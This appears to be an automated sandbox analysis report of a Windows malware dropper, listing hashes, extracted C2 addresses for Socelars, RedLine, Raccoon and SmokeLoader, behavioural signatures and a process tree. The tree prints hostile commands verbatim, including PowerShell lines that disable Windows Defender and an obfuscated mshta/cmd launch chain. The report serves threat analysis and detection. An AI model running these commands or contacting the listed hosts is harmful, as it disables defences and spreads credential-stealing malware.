Analysis

  • max time kernel
    78s
  • max time network
    168s
  • platform
    windows7_x64
  • resource
    win7-en-20211104
  • submitted
    08-11-2021 10:07

General

  • Target

    4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe

  • Size

    4.7MB

  • MD5

    0cc50985a2e8ae4f126dabb4b6a1c2be

  • SHA1

    4d20dd812a0b2d47f4b9b511538125a1ad5d917c

  • SHA256

    4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef

  • SHA512

    9916db8f6dcc3532d3f205d3d96154cdb511ac3b135a874f72f47be251feeedc3a83b9304f132b1e680b48b2d820dd88a2692cc1080baf88be4ffcb45d2cc439

Malware Config

Extracted

Family

socelars

C2

http://www.iyiqian.com/

http://www.hbgents.top/

http://www.rsnzhy.com/

http://www.efxety.top/

Extracted

Family

redline

Botnet

fucker2

C2

135.181.129.119:4805

Extracted

Family

raccoon

Botnet

2f2ad1a1aa093c5a9d17040c8efd5650a99640b5

Attributes
  • url4cnc

    http://telegatt.top/oh12manymarty

    http://telegka.top/oh12manymarty

    http://telegin.top/oh12manymarty

    https://t.me/oh12manymarty

rc4.plain
rc4.plain

Extracted

Family

smokeloader

Version

2020

C2

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/

rc4.i32
rc4.i32

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 4 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • suricata: ET MALWARE GCleaner Downloader Activity M5

    suricata: ET MALWARE GCleaner Downloader Activity M5

  • suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin

    suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Executes dropped EXE 32 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Drops Chrome extension 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Modifies registry class 13 IoCs
  • Modifies system certificate store 2 TTPs 6 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\services.exe
    C:\Windows\system32\services.exe
    1⤵
      PID:464
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k netsvcs
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Suspicious use of SetThreadContext
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        PID:868
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k SystemNetworkService
        2⤵
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        • Modifies registry class
        PID:1712
    • C:\Users\Admin\AppData\Local\Temp\4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
      "C:\Users\Admin\AppData\Local\Temp\4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe"
      1⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:292
      • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
        "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1720
        • C:\Users\Admin\AppData\Local\Temp\7zS8B648256\setup_install.exe
          "C:\Users\Admin\AppData\Local\Temp\7zS8B648256\setup_install.exe"
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1388
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1652
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1948
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1648
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1688
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Tue19879c4c0e.exe
            4⤵
              PID:976
              • C:\Users\Admin\AppData\Local\Temp\7zS8B648256\Tue19879c4c0e.exe
                Tue19879c4c0e.exe
                5⤵
                • Executes dropped EXE
                PID:2908
                • C:\Users\Admin\AppData\Local\Temp\is-GB6KS.tmp\Tue19879c4c0e.tmp
                  "C:\Users\Admin\AppData\Local\Temp\is-GB6KS.tmp\Tue19879c4c0e.tmp" /SL5="$101E0,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS8B648256\Tue19879c4c0e.exe"
                  6⤵
                  • Executes dropped EXE
                  PID:2964
                  • C:\Users\Admin\AppData\Local\Temp\7zS8B648256\Tue19879c4c0e.exe
                    "C:\Users\Admin\AppData\Local\Temp\7zS8B648256\Tue19879c4c0e.exe" /SILENT
                    7⤵
                    • Executes dropped EXE
                    PID:3012
                    • C:\Users\Admin\AppData\Local\Temp\is-UST0Q.tmp\Tue19879c4c0e.tmp
                      "C:\Users\Admin\AppData\Local\Temp\is-UST0Q.tmp\Tue19879c4c0e.tmp" /SL5="$201F6,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS8B648256\Tue19879c4c0e.exe" /SILENT
                      8⤵
                      • Executes dropped EXE
                      PID:3064
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Tue19325eb008c0b950.exe
              4⤵
              • Loads dropped DLL
              PID:1464
              • C:\Users\Admin\AppData\Local\Temp\7zS8B648256\Tue19325eb008c0b950.exe
                Tue19325eb008c0b950.exe
                5⤵
                • Executes dropped EXE
                • Checks computer location settings
                • Loads dropped DLL
                • Drops Chrome extension
                • Suspicious behavior: EnumeratesProcesses
                PID:1952
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Tue195c40958f528163.exe
              4⤵
              • Loads dropped DLL
              PID:1188
              • C:\Users\Admin\AppData\Local\Temp\7zS8B648256\Tue195c40958f528163.exe
                Tue195c40958f528163.exe
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of SetThreadContext
                PID:740
                • C:\Users\Admin\AppData\Local\Temp\7zS8B648256\Tue195c40958f528163.exe
                  C:\Users\Admin\AppData\Local\Temp\7zS8B648256\Tue195c40958f528163.exe
                  6⤵
                  • Executes dropped EXE
                  PID:2404
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Tue19f51bcd77a.exe
              4⤵
              • Loads dropped DLL
              PID:1716
              • C:\Users\Admin\AppData\Local\Temp\7zS8B648256\Tue19f51bcd77a.exe
                Tue19f51bcd77a.exe
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of SetThreadContext
                PID:1148
                • C:\Users\Admin\AppData\Local\Temp\7zS8B648256\Tue19f51bcd77a.exe
                  C:\Users\Admin\AppData\Local\Temp\7zS8B648256\Tue19f51bcd77a.exe
                  6⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:2412
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Tue19c06f159e0ec.exe
              4⤵
              • Loads dropped DLL
              PID:1100
              • C:\Users\Admin\AppData\Local\Temp\7zS8B648256\Tue19c06f159e0ec.exe
                Tue19c06f159e0ec.exe
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:1200
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Tue1993b3f72c.exe
              4⤵
              • Loads dropped DLL
              PID:880
              • C:\Users\Admin\AppData\Local\Temp\7zS8B648256\Tue1993b3f72c.exe
                Tue1993b3f72c.exe
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:2036
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Tue193858933525b62.exe
              4⤵
              • Loads dropped DLL
              PID:1760
              • C:\Users\Admin\AppData\Local\Temp\7zS8B648256\Tue193858933525b62.exe
                Tue193858933525b62.exe
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:1484
                • C:\Windows\SysWOW64\mshta.exe
                  "C:\Windows\System32\mshta.exe" VbscrIPt: CLOsE( crEATeObjEcT( "wsCRipt.SheLl" ). RUN ( "C:\Windows\system32\cmd.exe /q /C tYPe ""C:\Users\Admin\AppData\Local\Temp\7zS8B648256\Tue193858933525b62.exe"" > ~Xy1GPomKV09sC.Exe && stART ~Xy1gPomkV09sC.eXe -PyARgXd6fRp1GJRov7bdbpPssZBLJ &if """" == """" for %x In ( ""C:\Users\Admin\AppData\Local\Temp\7zS8B648256\Tue193858933525b62.exe"" ) do taskkill -iM ""%~nXx"" /f " , 0 , TRuE ) )
                  6⤵
                    PID:2336
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\system32\cmd.exe" /q /C tYPe "C:\Users\Admin\AppData\Local\Temp\7zS8B648256\Tue193858933525b62.exe" > ~Xy1GPomKV09sC.Exe && stART ~Xy1gPomkV09sC.eXe -PyARgXd6fRp1GJRov7bdbpPssZBLJ &if "" == "" for %x In ( "C:\Users\Admin\AppData\Local\Temp\7zS8B648256\Tue193858933525b62.exe") do taskkill -iM "%~nXx" /f
                      7⤵
                        PID:2944
                        • C:\Users\Admin\AppData\Local\Temp\~Xy1GPomKV09sC.Exe
                          ~Xy1gPomkV09sC.eXe -PyARgXd6fRp1GJRov7bdbpPssZBLJ
                          8⤵
                          • Executes dropped EXE
                          PID:2060
                          • C:\Windows\SysWOW64\mshta.exe
                            "C:\Windows\System32\mshta.exe" VbscrIPt: CLOsE( crEATeObjEcT( "wsCRipt.SheLl" ). RUN ( "C:\Windows\system32\cmd.exe /q /C tYPe ""C:\Users\Admin\AppData\Local\Temp\~Xy1GPomKV09sC.Exe"" > ~Xy1GPomKV09sC.Exe && stART ~Xy1gPomkV09sC.eXe -PyARgXd6fRp1GJRov7bdbpPssZBLJ &if ""-PyARgXd6fRp1GJRov7bdbpPssZBLJ "" == """" for %x In ( ""C:\Users\Admin\AppData\Local\Temp\~Xy1GPomKV09sC.Exe"" ) do taskkill -iM ""%~nXx"" /f " , 0 , TRuE ) )
                            9⤵
                              PID:2312